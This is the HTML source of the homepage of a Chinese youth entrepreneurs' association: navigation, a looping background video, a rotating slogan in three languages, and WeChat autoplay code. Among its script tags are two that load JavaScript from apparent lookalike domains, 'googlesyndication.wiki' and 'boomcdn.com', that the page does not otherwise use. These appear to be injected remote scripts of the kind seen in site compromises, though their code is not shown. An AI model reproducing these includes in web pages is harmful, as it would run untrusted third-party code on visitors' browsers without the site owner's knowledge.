180 lines
7.0 KiB
HTML
180 lines
7.0 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
|
|
<head>
|
|
<!-- basic meta tags
|
|
=========================================== -->
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
|
<meta http-equiv="Pragma" content="no-cache" />
|
|
<meta http-equiv="Cache-Control" content="no-cache" />
|
|
<meta http-equiv="Expires" content="0" />
|
|
|
|
<!-- style files
|
|
=========================================== -->
|
|
<link rel="icon" href="favicon.ico">
|
|
<!-- fonta -->
|
|
<link rel="preconnect" href="https://fonts.gstatic.com">
|
|
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
|
<!-- Bootstrap CSS -->
|
|
<link rel="stylesheet" href="style/bootstrap.min.css" />
|
|
<!-- animated.css -->
|
|
<link rel="stylesheet" href="style/animate.min.css" />
|
|
<!-- css -->
|
|
<link rel="stylesheet" href="style/style.css">
|
|
<link rel="stylesheet" href="style/index.css">
|
|
|
|
<!-- page title
|
|
=========================================== -->
|
|
<title>YEN</title>
|
|
</head>
|
|
|
|
<body>
|
|
<!-- navbar
|
|
=========================================== -->
|
|
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
|
<div class="container">
|
|
<!-- left -->
|
|
<div class="header-container">
|
|
<a href="index.html">
|
|
<img class="site-logo" src="images/logo.png" />
|
|
<label>YEN</label>
|
|
</a>
|
|
<h2>雁博青年创业家协会</h2>
|
|
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
|
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
|
aria-label="Toggle navigation">
|
|
<span class="nav__icon"></span>
|
|
</button>
|
|
</div>
|
|
<!-- right -->
|
|
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
|
<ul class="navbar-nav">
|
|
<li class="nav-item">
|
|
<a class="nav-link active" href="index.html" data-i18n-text="home">首页</a>
|
|
</li>
|
|
<li class="nav-item">
|
|
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介绍</a>
|
|
</li>
|
|
<li class="nav-item">
|
|
<a class="nav-link" href="value.html" data-i18n-text="">对你的价值</a>
|
|
</li>
|
|
<li class="nav-item">
|
|
<a class="nav-link" href="join.html" data-i18n-text="">加入我们</a>
|
|
</li>
|
|
</ul>
|
|
<div id="language" class="select-language">
|
|
<a href="index.html">简</a> | <a href="tc/index.html">繁</a> | <a href="en/index.html">EN</a>
|
|
</div>
|
|
</div><!-- /nav links -->
|
|
</div><!-- /container -->
|
|
</nav><!-- /navbar -->
|
|
|
|
<main>
|
|
<!-- 第一屏 -->
|
|
<section class="page-block block-index">
|
|
<div class="video-container">
|
|
<video
|
|
id="home-video"
|
|
muted
|
|
autoplay
|
|
x-webkit-airplay="allow"
|
|
x5-playsinline
|
|
webkit-playsinline="true"
|
|
playsinline="true"
|
|
loop="loop"
|
|
src="images/video.v3.mp4"
|
|
/>
|
|
</div>
|
|
<div class="main-index">
|
|
<div class="content">
|
|
<div id="slogan" class="title">
|
|
<p class="animate__animated animate__fadeInDown"><span>你好,</span><span>创业者</span></p>
|
|
</div>
|
|
<a href="home.html" class="icon-triangle-arrow animate__animated animate__bounce animate__infinite"></a>
|
|
</div>
|
|
</div>
|
|
</section>
|
|
</main>
|
|
<div class="copyright">© 2022 雁博青年创业家协会.</div>
|
|
|
|
|
|
|
|
|
|
<!-- bootsrap js and jquery
|
|
=========================================== -->
|
|
<script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
|
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
|
<script>
|
|
new WOW().init();
|
|
</script>
|
|
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
|
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
|
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
|
<script src="js/jquery.cookie.min.js"></script>
|
|
<script src="js/common.js"></script>
|
|
<script>
|
|
const oDiv = document.getElementById('slogan');
|
|
|
|
//切换视频
|
|
function tranVideo() {
|
|
const ua = navigator.userAgent
|
|
const oVideo = document.getElementById('home-video')
|
|
if(
|
|
(ua.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|Symbian|Windows Phone|Phone)/i)) ||
|
|
ua.toLowerCase().match(/QQ/i) == 'qq'
|
|
) {
|
|
oVideo.src = './images/video.v3.mp4'
|
|
}
|
|
else {
|
|
oVideo.src = './images/pc-video.mp4'
|
|
}
|
|
}
|
|
tranVideo()
|
|
window.onresize = tranVideo
|
|
//切换文字
|
|
function tranSlogan() {
|
|
let i = 1
|
|
const en = `<p class="en"><span>Hello,</span><span>Entrepreneurs</span></p>`
|
|
const cnTw = `<p><span>嗨!</span><span>創業家</span></p>`
|
|
const cn = `<p><span>你好,</span><span>创业者</span></p>`
|
|
setInterval(function() {
|
|
if(i == 1) {
|
|
oDiv.innerHTML = en
|
|
i = 2
|
|
}
|
|
else if(i === 2) {
|
|
oDiv.innerHTML = cnTw
|
|
i = 3
|
|
}
|
|
else if(i === 3) {
|
|
oDiv.innerHTML = cn
|
|
i = 1
|
|
}
|
|
}, 2000)
|
|
}
|
|
tranSlogan()
|
|
</script>
|
|
|
|
<script src="https://res.wx.qq.com/open/js/jweixin-1.4.0.js"></script>
|
|
<script>
|
|
function doPlay() {
|
|
document.getElementById('home-video').play();
|
|
}
|
|
doPlay();
|
|
//必须在微信Weixin JSAPI的WeixinJSBridgeReady才能生效
|
|
document.addEventListener("WeixinJSBridgeReady", function () {
|
|
doPlay();
|
|
}, false);
|
|
//微信Android中无法自动播放处理
|
|
const ua = navigator.userAgent.toLowerCase();
|
|
const isWeixin = ua.indexOf('micromessenger') != -1;
|
|
const isAndroid = ua.indexOf('android') != -1;
|
|
if(isWeixin && isAndroid) {
|
|
document.getElementById('home-video').setAttribute('poster', './images/poster.png')
|
|
}
|
|
document.addEventListener("click", doPlay, false);
|
|
</script>
|
|
</body>
|
|
|
|
</html> |